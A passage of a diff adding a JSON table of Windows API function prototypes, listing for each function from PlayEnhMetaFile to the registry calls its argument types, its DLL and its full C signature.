nYRadial2);" + }, + { + "function_name": "PlayEnhMetaFile", + "arguments": [ + "HDC", + "HENHMETAFILE", + "CONST RECT *" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL PlayEnhMetaFile(HDC hdc, HENHMETAFILE hemf, CONST RECT * lpRect);" + }, + { + "function_name": "PlayEnhMetaFileRecord", + "arguments": [ + "HDC", + "LPHANDLETABLE", + "CONST ENHMETARECORD *", + "UINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL PlayEnhMetaFileRecord(HDC hdc, LPHANDLETABLE lpHandletable, CONST ENHMETARECORD * lpEnhMetaRecord, UINT nHandles);" + }, + { + "function_name": "PlayMetaFile", + "arguments": [ + "HDC", + "HMETAFILE" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL PlayMetaFile(HDC hdc, HMETAFILE hmf);" + }, + { + "function_name": "PlayMetaFileRecord", + "arguments": [ + "HDC", + "LPHANDLETABLE", + "LPMETARECORD", + "UINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL PlayMetaFileRecord(HDC hdc, LPHANDLETABLE lpHandletable, LPMETARECORD lpMetaRecord, UINT nHandles);" + }, + { + "function_name": "PlaySoundA", + "arguments": [ + "LPCSTR", + "HMODULE", + "DWORD" + ], + "dll_name": "winmm.dll", + "full_prototype": "BOOL PlaySoundA(LPCSTR pszSound, HMODULE hmod, DWORD fdwSound);" + }, + { + "function_name": "PlgBlt", + "arguments": [ + "HDC", + "CONST POINT *", + "HDC", + "int", + "int", + "int", + "int", + "HBITMAP", + "int", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL PlgBlt(HDC hdcDest, CONST POINT * lpPoint, HDC hdcSrc, int nXSrc, int nYSrc, int nWidth, int nHeight, HBITMAP hbmMask, int xMask, int yMask);" + }, + { + "function_name": "PolyBezier", + "arguments": [ + "HDC", + "CONST POINT *", + "DWORD" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL PolyBezier(HDC hdc, CONST POINT * lppt, DWORD cPoints);" + }, + { + "function_name": "PolyBezierTo", + "arguments": [ + "HDC", + "CONST POINT *", + "DWORD" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL PolyBezierTo(HDC hdc, CONST POINT * lppt, DWORD cCount);" + }, + { + "function_name": "PolyDraw", + "arguments": [ + "HDC", + "CONST POINT *", + "CONST BYTE *", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL PolyDraw(HDC hdc,CONST POINT * lppt, CONST BYTE * lpbTypes, int cCount);" + }, + { + "function_name": "PolyPolygon", + "arguments": [ + "HDC", + "CONST POINT", + "LPINT", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL PolyPolygon(HDC hdc, CONST POINT *lpPoints, LPINT lpPolyCounts, int nCount);" + }, + { + "function_name": "PolyTextOutA", + "arguments": [ + "HDC", + "CONST POLYTEXT *", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL PolyTextOutA(HDC hdc, CONST POLYTEXT * pptxt, int cStrings);" + }, + { + "function_name": "PolyTextOutW", + "arguments": [ + "HDC", + "const POLYTEXTW*", + "INT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL PolyTextOutW(HDC hdc, const POLYTEXTW* pptxt, INT cStrings);" + }, + { + "function_name": "Polygon", + "arguments": [ + "HDC", + "CONST POINT", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL Polygon(HDC hdc,CONST POINT *lpPoints, int nCount);" + }, + { + "function_name": "Polyline", + "arguments": [ + "HDC", + "CONST POINT", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL Polyline(HDC hdc,CONST POINT *lppt, int cPoints);" + }, + { + "function_name": "PolylineTo", + "arguments": [ + "HDC", + "CONST POINT *", + "DWORD" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL PolylineTo(HDC hdc, CONST POINT * lppt, DWORD cCount);" + }, + { + "function_name": "PostMessageA", + "arguments": [ + "HWND", + "UINT", + "WPARAM", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL PostMessageA(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);" + }, + { + "function_name": "PostMessageW", + "arguments": [ + "HWND", + "UINT", + "WPARAM", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL PostMessageW(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);" + }, + { + "function_name": "PostQueuedCompletionStatus", + "arguments": [ + "HANDLE", + "DWORD", + "DWORD", + "LPOVERLAPPED" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL PostQueuedCompletionStatus(HANDLE CompletionPort,DWORD dwNumberOfBytesTransferred, DWORD dwCompletionKey, LPOVERLAPPED lpOverlapped);" + }, + { + "function_name": "PostQuitMessage", + "arguments": [ + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "VOID PostQuitMessage(int nExitCode);" + }, + { + "function_name": "PostThreadMessageA", + "arguments": [ + "DWORD", + "UINT", + "WPARAM", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL PostThreadMessageA(DWORD dwThreadId,UINT uMsg, WPARAM wParam, LPARAM lParam);" + }, + { + "function_name": "PostThreadMessageW", + "arguments": [ + "DWORD", + "UINT", + "WPARAM", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL PostThreadMessageW(DWORD dwThreadId,UINT uMsg, WPARAM wParam, LPARAM lParam);" + }, + { + "function_name": "PrepareTape", + "arguments": [ + "HANDLE", + "DWORD", + "BOOL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD PrepareTape(HANDLE hDevice,DWORD dwOperation, BOOL bImmediate);" + }, + { + "function_name": "PrintDlgA", + "arguments": [ + "LPPRINTDLG" + ], + "dll_name": "comdlg32.dll", + "full_prototype": "BOOL PrintDlgA(LPPRINTDLG lppd);" + }, + { + "function_name": "PrinterProperties", + "arguments": [ + "hwnd", + "HANDLE" + ], + "dll_name": "winspool.drv", + "full_prototype": "BOOL PrinterProperties(hwnd hwnd,HANDLE hPrinter);" + }, + { + "function_name": "PrivilegeCheck", + "arguments": [ + "HANDLE", + "PPRIVILEGE_SET", + "LPBOOL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL PrivilegeCheck( HANDLE hClientToken, PPRIVILEGE_SET pps, LPBOOL lpfResult );" + }, + { + "function_name": "PrivilegedServiceAuditAlarmA", + "arguments": [ + "LPCTSTR", + "LPCTSTR", + "HANDLE", + "PPRIVILEGE_SET", + "BOOL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL PrivilegedServiceAuditAlarmA( LPCTSTR lpszSubsystem, LPCTSTR lpszService, HANDLE hClientToken, PPRIVILEGE_SET pps, BOOL fAccessGranted );" + }, + { + "function_name": "PrivilegedServiceAuditAlarmW", + "arguments": [ + "LPCWSTR", + "LPCWSTR", + "HANDLE", + "PPRIVILEGE_SET", + "BOOL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL PrivilegedServiceAuditAlarmW(LPCWSTR SubsystemName,LPCWSTR ServiceName,HANDLE ClientToken,PPRIVILEGE_SET Privileges,BOOL AccessGranted);" + }, + { + "function_name": "Process32First", + "arguments": [ + "HANDLE", + "LPPROCESSENTRY32" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL WINAPI Process32First(HANDLE hSnapshot,LPPROCESSENTRY32 lppe);" + }, + { + "function_name": "Process32Next", + "arguments": [ + "HANDLE", + "LPPROCESSENTRY32" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL WINAPI Process32Next( HANDLE hSnapshot, LPPROCESSENTRY32 lppe);" + }, + { + "function_name": "PtInRect", + "arguments": [ + "CONST RECT", + "POINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL PtInRect(CONST RECT *lprc, POINT pt);" + }, + { + "function_name": "PtInRegion", + "arguments": [ + "HRGN", + "int", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL PtInRegion(HRGN hrgn,int X, int Y);" + }, + { + "function_name": "PtVisible", + "arguments": [ + "HDC", + "int", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL PtVisible(HDC hdc, int X, int Y);" + }, + { + "function_name": "PulseEvent", + "arguments": [ + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL PulseEvent(HANDLE hEvent);" + }, + { + "function_name": "PurgeComm", + "arguments": [ + "HANDLE", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL PurgeComm(HANDLE hCommDev, DWORD fdwAction);" + }, + { + "function_name": "PwdChangePasswordA", + "arguments": [ + "LPCSTR", + "HWND", + "DWORD", + "LPCHANGEPWDINFOA" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WINAPI PwdChangePasswordA(LPCSTR lpProvider, HWND hWnd, DWORD flags, LPCHANGEPWDINFOA info);" + }, + { + "function_name": "QueryDosDeviceA", + "arguments": [ + "LPCTSTR", + "LPTSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD QueryDosDeviceA(LPCTSTR lpDeviceName, LPTSTR lpTargetPath, DWORD ucchMax);" + }, + { + "function_name": "QueryDosDeviceW", + "arguments": [ + "LPCWSTR", + "LPCWSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD QueryDosDeviceW(LPCWSTR lpDeviceName, LPCWSTR lpTargetPath, DWORD ucchMax);" + }, + { + "function_name": "QueryPerformanceCounter", + "arguments": [ + "LARGE_INTEGER" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL QueryPerformanceCounter(LARGE_INTEGER *lpliPerformanceCount);" + }, + { + "function_name": "QueryPerformanceFrequency", + "arguments": [ + "LARGE_INTEGER" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL QueryPerformanceFrequency(LARGE_INTEGER *lpliPerformanceFreq);" + }, + { + "function_name": "QueueUserAPC", + "arguments": [ + "PAPCFUNC", + "HANDLE", + "ULONG_PTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD QueueUserAPC(PAPCFUNC pfnAPC, HANDLE hThread, ULONG_PTR dwData);" + }, + { + "function_name": "RaiseException", + "arguments": [ + "DWORD", + "DWORD", + "DWORD", + "CONST DWORD *" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID RaiseException(DWORD dwExceptionCode, DWORD dwExceptionFlags, DWORD cArguments, CONST DWORD * lpArguments);" + }, + { + "function_name": "RasEnumEntriesA", + "arguments": [ + "LPTSTR", + "LPTSTR", + "LPRASENTRYNAME", + "LPDWORD", + "LPDWORD" + ], + "dll_name": "rasapi32.dll", + "full_prototype": "DWORD RasEnumEntriesA( LPTSTR reserved, LPTSTR lpszPhonebook, LPRASENTRYNAME lprasentryname, LPDWORD lpcb, LPDWORD lpcEntries );" + }, + { + "function_name": "ReadConsoleA", + "arguments": [ + "HANDLE", + "LPVOID", + "DWORD", + "LPDWORD", + "LPVOID" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL ReadConsoleA(HANDLE hConsoleInput, LPVOID lpvBuffer, DWORD cchToRead, LPDWORD lpcchRead, LPVOID lpvReserved);" + }, + { + "function_name": "ReadConsoleW", + "arguments": [ + "HANDLE", + "LPVOID", + "DWORD", + "LPDWORD", + "LPVOID" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL ReadConsoleW(HANDLE hConsoleInput, LPVOID lpBuffer, DWORD nNumberOfCharsToRead, LPDWORD lpNumberOfCharsRead, LPVOID lpReserved);" + }, + { + "function_name": "ReadConsoleInputA", + "arguments": [ + "HANDLE", + "PINPUT_RECORD", + "DWORD", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL ReadConsoleInputA(HANDLE hConsoleInput, PINPUT_RECORD pirBuffer,DWORD cInRecords, LPDWORD lpcRead);" + }, + { + "function_name": "ReadConsoleInputW", + "arguments": [ + "HANDLE", + "PINPUT_RECORD", + "DWORD", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL ReadConsoleInputW(HANDLE hConsoleInput, PINPUT_RECORD pirBuffer,DWORD cInRecords, LPDWORD lpcRead);" + }, + { + "function_name": "ReadConsoleOutputA", + "arguments": [ + "HANDLE", + "PCHAR_INFO", + "COORD", + "COORD", + "PSMALL_RECT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL ReadConsoleOutputA(HANDLE hConsoleOutput, PCHAR_INFO pchiDestBuffer, COORD coordDestBufferSize, COORD coordDestBufferCoord, PSMALL_RECT psrctSourceRect);" + }, + { + "function_name": "ReadConsoleOutputW", + "arguments": [ + "HANDLE", + "PCHAR_INFO", + "COORD", + "COORD", + "PSMALL_RECT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL ReadConsoleOutputW(HANDLE hConsoleOutput, PCHAR_INFO pchiDestBuffer, COORD coordDestBufferSize, COORD coordDestBufferCoord, PSMALL_RECT psrctSourceRect);" + }, + { + "function_name": "ReadConsoleOutputAttribute", + "arguments": [ + "HANDLE", + "LPWORD", + "DWORD", + "COORD", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL ReadConsoleOutputAttribute(HANDLE hConsoleOutput, LPWORD lpwAttribute, DWORD cReadCells,COORD coordReadCoord, LPDWORD lpcNumberRead);" + }, + { + "function_name": "ReadConsoleOutputCharacterA", + "arguments": [ + "HANDLE", + "LPTSTR", + "DWORD", + "COORD", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL ReadConsoleOutputCharacterA(HANDLE hConsoleOutput, LPTSTR lpReadBuffer, DWORD cchRead,COORD coordReadCoord, LPDWORD lpcNumberRead);" + }, + { + "function_name": "ReadConsoleOutputCharacterW", + "arguments": [ + "HANDLE", + "LPCWSTR", + "DWORD", + "COORD", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL ReadConsoleOutputCharacterW(HANDLE hConsoleOutput, LPCWSTR lpReadBuffer, DWORD cchRead,COORD coordReadCoord, LPDWORD lpcNumberRead);" + }, + { + "function_name": "ReadDirectoryChangesW", + "arguments": [ + "HANDLE", + "LPVOID", + "DWORD", + "BOOL", + "DWORD", + "LPDWORD", + "LPOVERLAPPED", + "LPOVERLAPPED_COMPLETION_ROUTINE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL ReadDirectoryChangesW( HANDLE hDirectory, LPVOID lpBuffer, DWORD nBufferLength, BOOL bWatchSubtree, DWORD dwNotifyFilter, LPDWORD lpBytesReturned, LPOVERLAPPED lpOverlapped, LPOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine);" + }, + { + "function_name": "ReadEventLogA", + "arguments": [ + "HANDLE", + "DWORD", + "DWORD", + "LPVOID", + "DWORD", + "DWORD", + "DWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL ReadEventLogA( HANDLE hEventLog, DWORD dwReadFlags, DWORD dwRecordOffset, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, DWORD *pnBytesRead, DWORD *pnMinNumberOfBytesNeeded );" + }, + { + "function_name": "ReadEventLogW", + "arguments": [ + "HANDLE", + "DWORD", + "DWORD", + "LPVOID", + "DWORD", + "DWORD*", + "DWORD*" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL ReadEventLogW( HANDLE hEventLog, DWORD dwReadFlags, DWORD dwRecordOffset, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, DWORD* pnBytesRead, DWORD* pnMinNumberOfBytesNeeded );" + }, + { + "function_name": "ReadFile", + "arguments": [ + "HANDLE", + "LPVOID", + "DWORD", + "LPDWORD", + "LPOVERLAPPED" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead,LPOVERLAPPED lpOverlapped);" + }, + { + "function_name": "ReadFileEx", + "arguments": [ + "HANDLE", + "LPVOID", + "DWORD", + "LPOVERLAPPED", + "LPOVERLAPPED_COMPLETION_ROUTINE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL ReadFileEx(HANDLE hFile,LPVOID lpBuffer,DWORD nNumberOfBytesToRead, LPOVERLAPPED lpOverlapped, LPOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine);" + }, + { + "function_name": "ReadProcessMemory", + "arguments": [ + "HANDLE", + "LPCVOID", + "LPVOID", + "DWORD", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, DWORD cbRead,LPDWORD lpNumberOfBytesRead);" + }, + { + "function_name": "RealizePalette", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "UINT RealizePalette(HDC hdc);" + }, + { + "function_name": "Rectangle", + "arguments": [ + "HDC", + "int", + "int", + "int", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL Rectangle(HDC hdc, int nLeftRect, int nTopRect, int nRightRect, int nBottomRect);" + }, + { + "function_name": "RectInRegion", + "arguments": [ + "HRGN", + "CONST RECT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL RectInRegion(HRGN hrgn, CONST RECT *lprc);" + }, + { + "function_name": "RectVisible", + "arguments": [ + "HDC", + "CONST RECT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL RectVisible(HDC hdc, CONST RECT *lprc);" + }, + { + "function_name": "RedrawWindow", + "arguments": [ + "HWND", + "CONST RECT", + "HRGN", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL RedrawWindow(HWND hwnd, CONST RECT *lprcUpdate, HRGN hrgnUpdate, UINT afuRedraw);" + }, + { + "function_name": "RegCloseKey", + "arguments": [ + "HKEY" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LONG RegCloseKey( HKEY hKey );" + }, + { + "function_name": "RegConnectRegistryA", + "arguments": [ + "LPTSTR", + "HKEY", + "PHKEY" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LONG RegConnectRegistryA( LPTSTR lpszComputerName, HKEY hKey, PHKEY phkResult );" + }, + { + "function_name": "RegConnectRegistryW", + "arguments": [ + "LPCWSTR", + "HKEY", + "PHKEY" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LSTATUS RegConnectRegistryW( LPCWSTR lpMachineName, HKEY hKey, PHKEY phkResult );" + }, + { + "function_name": "RegCreateKeyA", + "arguments": [ + "HKEY", + "LPCTSTR", + "PHKEY" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LONG RegCreateKeyA( HKEY hKey, LPCTSTR lpszSubKey, PHKEY phkResult );" + }, + { + "function_name": "RegCreateKeyW", + "arguments": [ + "HKEY", + "LPCWSTR", + "PHKEY" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LSTATUS RegCreateKeyW( HKEY hkey, LPCWSTR lpSubKey, PHKEY phkResult );" + }, + { + "function_name": "RegCreateKeyExA", + "arguments": [ + "HKEY", + "LPCTSTR", + "DWORD", + "LPTSTR", + "DWORD", + "REGSAM", + "LPSECURITY_ATTRIBUTES", + "PHKEY", + "LPDWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LONG RegCreateKeyExA( HKEY hKey, LPCTSTR lpszSubKey, DWORD dwReserved, LPTSTR lpszClass, DWORD fdwOptions, REGSAM samDesired, LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition );" + }, + { + "function_name": "RegCreateKeyExW", + "arguments": [ + "HKEY", + "LPCWSTR", + "DWORD", + "LPWSTR", + "DWORD", + "REGSAM", + "SECURITY_ATTRIBUTES*", + "PHKEY", + "LPDWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LSTATUS RegCreateKeyExW( HKEY hkey, LPCWSTR name, DWORD reserved, LPWSTR class, DWORD options, REGSAM access, SECURITY_ATTRIBUTES* sa, PHKEY retkey, LPDWORD dispos );" + }, + { + "function_name": "RegDeleteKeyA", + "arguments": [ + "HKEY", + "LPCTSTR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LONG RegDeleteKeyA( HKEY hKey, LPCTSTR lpszSubKey );" + }, + { + "function_name": "RegDeleteKeyW", + "arguments": [ + "HKEY", + "LPCWSTR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LSTATUS RegDeleteKeyW( HKEY hkey, LPCWSTR name );" + }, + { + "function_name": "RegDeleteValueA", + "arguments": [ + "HKEY", + "LPTSTR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LONG RegDeleteValueA( HKEY hKey, LPTSTR lpszValue );" + }, + { + "function_name": "RegDeleteValueW", + "arguments": [ + "HKEY", + "LPCWSTR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LSTATUS RegDeleteValueW( HKEY hkey, LPCWSTR name );" + }, + { + "function_name": "RegEnumKeyA", + "arguments": [ + "HKEY", + "DWORD", + "LPTSTR", + "DWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LONG RegEnumKeyA( HKEY hKey, DWORD iSubKey, LPTSTR lpszName, DWORD cchName );" + }, + { + "function_name": "RegEnumKeyW", + "arguments": [ + "HKEY", + "DWORD", + "LPWSTR", + "DWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LSTATUS RegEnumKeyW( HKEY hkey, DWORD index, LPWSTR name, DWORD name_len );" + }, + { + "function_name": "RegEnumKeyExA", + "arguments": [ + "HKEY", + "DWORD", + "LPTSTR", + "LPDWORD", + "LPDWORD", + "LPTSTR", + "LPDWORD", + "PFILETIME" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LONG RegEnumKeyExA( HKEY hKey, DWORD iSubkey, LPTSTR lpszName, LPDWORD lpcchName, LPDWORD lpdwReserved, LPTSTR lpszClass, LPDWORD lpcchClass, PFILETIME lpftLastWrite );" + }, + { + "function_name": "RegEnumKeyExW", + "arguments": [ + "HKEY", + "DWORD", + "LPWSTR", + "LPDWORD", + "LPDWORD", + "LPWSTR", + "LPDWORD", + "FILETIME*" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LSTATUS RegEnumKeyExW( HKEY hkey, DWORD index, LPWSTR name, LPDWORD name_len, LPDWORD reserved, LPWSTR class, LPDWORD class_len, FILETIME* ft );" + }, + { + "function_name": "RegEnumValueA", + "arguments": [ + "HKEY", + "DWORD", + "LPTSTR", + "LPDWORD", + "LPDWORD", + "LPDWORD", + "LPBYTE", + "LPDWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LONG RegEnumValueA( HKEY hKey, DWORD iValue, LPTSTR lpszValue, LPDWORD lpcchValue, LPDWORD lpdwReserved, LPDWORD lpdwType, LPBYTE lpbData, LPDWORD lpcbData );" + }, + { + "function_name": "RegEnumValueW", + "arguments": [ + "HKEY", + "DWORD", + "LPWSTR", + "LPDWORD", + "LPDWORD", + "LPDWORD", + "LPBYTE", + "LPDWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LSTATUS RegEnumValueW( HKEY hkey, DWORD index, LPWSTR value, LPDWORD val_count, LPDWORD reserved, LPDWORD type, LPBYTE data, LPDWORD count );" + }, + { + "function_name": "RegFlushKey", + "arguments": [ + "HKEY" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LONG RegFlushKey(HKEY hKey);" + }, + { + "function_name": "RegGetKeySecurity", + "arguments": [ + "HKEY", + "SECURITY_INFORMATION", + "PSECURITY_DESCRIPTOR", + "LPDWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LSTATUS RegGetKeySecurity( HKEY hkey, SECURITY_INFORMATION SecurityInformation, PSECURITY_DESCRIPTOR pSecurityDescriptor, LPDWORD lpcbSecurityDescriptor );" + }, + { + "function_name": "RegisterClassA", + "arguments": [ + "CONST WNDCLASS" + ], + "dll_name": "user32.dll", + "full_prototype": "ATOM RegisterClassA(CONST WNDCLASS *lpwc);" + }, + { + "function_name": "RegisterClassExA", + "arguments": [ + "CONST WNDCLASSEX FAR" + ], + "dll_name": "user32.dll", + "full_prototype": "ATOM RegisterClassExA(CONST WNDCLASSEX FAR *lpwcx);" + }, + { + "function_name": "RegisterClassExW", + "arguments": [ + "CONST WNDCLASSEXW FAR" + ], + "dll_name": "user32.dll", + "full_prototype": "ATOM RegisterClassExW(CONST WNDCLASSEXW FAR *lpwcx);" + }, + { + "function_name": "RegisterClassW", + "arguments": [ + "CONST WNDCLASSW" + ], + "dll_name": "user32.dll", + "full_prototype": "ATOM RegisterClassW(CONST WNDCLASSW *lpwc);" + }, + { + "function_name": "RegisterClipboardFormatA", + "arguments": [ + "LPCTSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "UINT RegisterClipboardFormatA(LPCTSTR lpszFormat);" + }, + { + "function_name": "RegisterClipboardFormatW", + "arguments": [ + "LPCWSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "UINT RegisterClipboardFormatW(LPCWSTR lpszFormat);" + }, + { + "function_name": "RegisterDeviceNotificationA", + "arguments": [ + "HANDLE", + "LPVOID", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "HDEVNOTIFY RegisterDeviceNotificationA( HANDLE hRecipient, LPVOID NotificationFilter, DWORD Flags);" + }, + { + "function_name": "RegisterHotKey", + "arguments": [ + "HWND", + "int", + "UINT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL RegisterHotKey(HWND hwnd, int idHotKey, UINT fuModifiers, UINT uVirtKey);" + }, + { + "function_name": "RegisterServiceProcess", + "arguments": [ + "DWORD", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD RegisterServiceProcess(DWORD dwProcessId,DWORD dwType);" + }, + { + "function_name": "RegisterWindowMessageA", + "arguments": [ + "LPCTSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "UINT RegisterWindowMessageA(LPCTSTR lpsz);" + }, + { + "function_name": "RegisterWindowMessageW", + "arguments": [ + "LPCWSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "UINT RegisterWindowMessageW(LPCWSTR lpsz);" + }, + { + "function_name": "RegLoadKeyA", + "arguments": [ + "HKEY", + "LPCTSTR", + "LPCTSTR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LONG RegLoadKeyA( HKEY hKey, LPCTSTR lpszSubKey, LPCTSTR lpszFile );" + }, + { + "function_name": "RegLoadKeyW", + "arguments": [ + "HKEY", + "LPCWSTR", + "LPCWSTR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LSTATUS RegLoadKeyW( HKEY hkey, LPCWSTR subkey, LPCWSTR filename );" + }, + { + "function_name": "RegNotifyChangeKeyValue", + "arguments": [ + "HKEY", + "BOOL", + "DWORD", + "HANDLE", + "BOOL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LONG RegNotifyChangeKeyValue( HKEY hKey, BOOL fWatchSubTree, DWORD fdwNotifyFilter, HANDLE hEvent, BOOL fAsync );" + }, + { + "function_name": "RegOpenKeyA", + "arguments": [ + "HKEY", + "LPCTSTR", + "PHKEY" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LONG RegOpenKeyA( HKEY hKey, LPCTSTR lpszSubKey, PHKEY phkResult );" + }, + { + "function_name": "RegOpenKeyW", + "arguments": [ + "HKEY", + "LPCWSTR", + "PHKEY" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LSTATUS RegOpenKeyW( HKEY hkey, LPCWSTR name, PHKEY retkey );" + }, + { + "function_name": "RegOpenKeyExA", + "arguments": [ + "HKEY", + "LPCTSTR", + "DWORD", + "REGSAM", + "PHKEY" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LONG RegOpenKeyExA( HKEY hKey, LPCTSTR lpszSubKey, DWORD dwReserved, REGSAM samDesired, PHKEY phkResult );" + }, + { + "function_name": "RegOpenKeyExW", + "arguments": [ + "HKEY", + "LPCWSTR", + "DWORD", + "REGSAM", + "PHKEY" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LSTATUS RegOpenKeyExW( HKEY hkey, LPCWSTR name, DWORD reserved, REGSAM access, PHKEY retkey );" + }, + { + "function_name": "RegQueryInfoKeyA", + "arguments": [ + "HKEY", + "LPTSTR", + "LPDWORD", + "LPDWORD", + "LPDWORD", + "LPDWORD", + "LPDWORD", + "LPDWORD", + "LPDWORD", + "LPDWORD", + "LPDWORD", + "PFILETIME" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LONG RegQueryInfoKeyA( HKEY hKey, LPTSTR lpszClass, LPDWORD lpcchClass, LPDWORD lpdwReserved, LPDWORD lpcSubKeys, LPDWORD lpcchMaxSubkey, LPDWORD lpcchMaxClass, LPDWORD lpcValues, LPDWORD lpcchMaxValueName, LPDWORD lpcbMaxValueData, LPDWORD lpcbSecurityDescriptor, PFILETIME lpftLastWriteTime );" + }, + { + "function_name": "RegQueryInfoKeyW", + "arguments": [ + "HKEY", + "LPWSTR", + "LPDWORD", + "LPDWORD", + "LPDWORD", + "LPDWORD", + "LPDWORD", + "LPDWORD", + "LPDWORD", + "LPDWORD", + "LPDWORD", + "FILETIME*" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LSTATUS RegQueryInfoKeyW( HKEY hkey, LPWSTR class, LPDWORD class_len, LPDWORD reserved, LPDWORD subkeys, LPDWORD max_subkey, LPDWORD max_class, LPDWORD values, LPDWORD max_value, LPDWORD max_data, LPDWORD security, FILETIME* modif );" + }, + { + "function_name": "RegQueryMultipleValuesA", + "arguments": [ + "HKEY", + "PVALENT", + "DWORD", + "LPTSTR", + "LPDWORD" + ], + "dll_name": 